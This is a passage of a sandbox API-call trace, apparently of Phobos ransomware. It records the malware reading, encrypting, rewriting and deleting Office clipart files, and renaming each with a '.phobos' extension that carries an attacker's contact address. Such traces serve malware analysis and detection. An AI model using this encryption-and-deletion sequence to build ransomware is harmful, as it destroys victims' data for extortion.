dwFlags=0x0) returned 1 [0060.077] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xd16, lpOverlapped=0x0) returned 1 [0060.084] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xd20, dwBufLen=0xd20 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xd20) returned 1 [0060.084] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xd20, lpOverlapped=0x0) returned 1 [0060.085] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10caf0) returned 1 [0060.085] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.085] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0060.085] CryptDestroyKey (hKey=0x10caf0) returned 1 [0060.085] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0060.085] CryptDestroyKey (hKey=0x10cf30) returned 1 [0060.086] CloseHandle (hObject=0x318) returned 1 [0060.086] CloseHandle (hObject=0x308) returned 1 [0060.086] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1 [0060.087] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0060.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.088] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=29004) returned 1 [0060.088] CloseHandle (hObject=0x308) returned 1 [0060.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220 [0060.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.088] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.088] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.088] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf30) returned 1 [0060.088] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.088] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x714c, lpOverlapped=0x0) returned 1 [0060.090] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x7150, dwBufLen=0x7150 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x7150) returned 1 [0060.090] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x7150, lpOverlapped=0x0) returned 1 [0060.091] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cdf0) returned 1 [0060.091] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.091] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0060.091] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0060.091] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0060.092] CryptDestroyKey (hKey=0x10cf30) returned 1 [0060.092] CloseHandle (hObject=0x308) returned 1 [0060.092] CloseHandle (hObject=0x318) returned 1 [0060.093] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0060.094] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0060.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.094] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1330) returned 1 [0060.094] CloseHandle (hObject=0x318) returned 1 [0060.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x220 [0060.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.095] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.095] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.095] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ceb0) returned 1 [0060.095] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.095] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x532, lpOverlapped=0x0) returned 1 [0060.228] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x540, dwBufLen=0x540 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x540) returned 1 [0060.228] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x540, lpOverlapped=0x0) returned 1 [0060.229] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1f0) returned 1 [0060.229] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.229] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0060.229] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0060.230] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0060.230] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0060.230] CloseHandle (hObject=0x318) returned 1 [0060.230] CloseHandle (hObject=0x308) returned 1 [0060.231] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0060.232] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0060.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.232] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1444) returned 1 [0060.232] CloseHandle (hObject=0x308) returned 1 [0060.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220 [0060.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.233] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.233] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.233] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cb30) returned 1 [0060.233] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.233] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x5a4, lpOverlapped=0x0) returned 1 [0060.258] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x5b0) returned 1 [0060.258] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x5b0, lpOverlapped=0x0) returned 1 [0060.259] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cb70) returned 1 [0060.259] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.259] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0060.259] CryptDestroyKey (hKey=0x10cb70) returned 1 [0060.259] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0060.259] CryptDestroyKey (hKey=0x10cb30) returned 1 [0060.259] CloseHandle (hObject=0x308) returned 1 [0060.259] CloseHandle (hObject=0x318) returned 1 [0060.260] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0060.261] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0060.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.261] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=7974) returned 1 [0060.261] CloseHandle (hObject=0x318) returned 1 [0060.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220 [0060.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.262] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.262] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.262] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ce30) returned 1 [0060.262] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.262] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1f26, lpOverlapped=0x0) returned 1 [0060.284] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1f30, dwBufLen=0x1f30 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1f30) returned 1 [0060.284] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1f30, lpOverlapped=0x0) returned 1 [0060.285] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cff0) returned 1 [0060.285] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.285] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0060.285] CryptDestroyKey (hKey=0x10cff0) returned 1 [0060.285] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0060.285] CryptDestroyKey (hKey=0x10ce30) returned 1 [0060.285] CloseHandle (hObject=0x318) returned 1 [0060.285] CloseHandle (hObject=0x308) returned 1 [0060.286] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0060.287] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0060.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.287] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2378) returned 1 [0060.287] CloseHandle (hObject=0x308) returned 1 [0060.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x220 [0060.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.288] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.288] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.288] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cff0) returned 1 [0060.288] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.288] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x94a, lpOverlapped=0x0) returned 1 [0060.289] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x950, dwBufLen=0x950 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x950) returned 1 [0060.289] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x950, lpOverlapped=0x0) returned 1 [0060.290] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d070) returned 1 [0060.290] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.290] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0060.290] CryptDestroyKey (hKey=0x10d070) returned 1 [0060.290] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0060.290] CryptDestroyKey (hKey=0x10cff0) returned 1 [0060.290] CloseHandle (hObject=0x308) returned 1 [0060.290] CloseHandle (hObject=0x318) returned 1 [0060.294] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0060.295] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0060.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 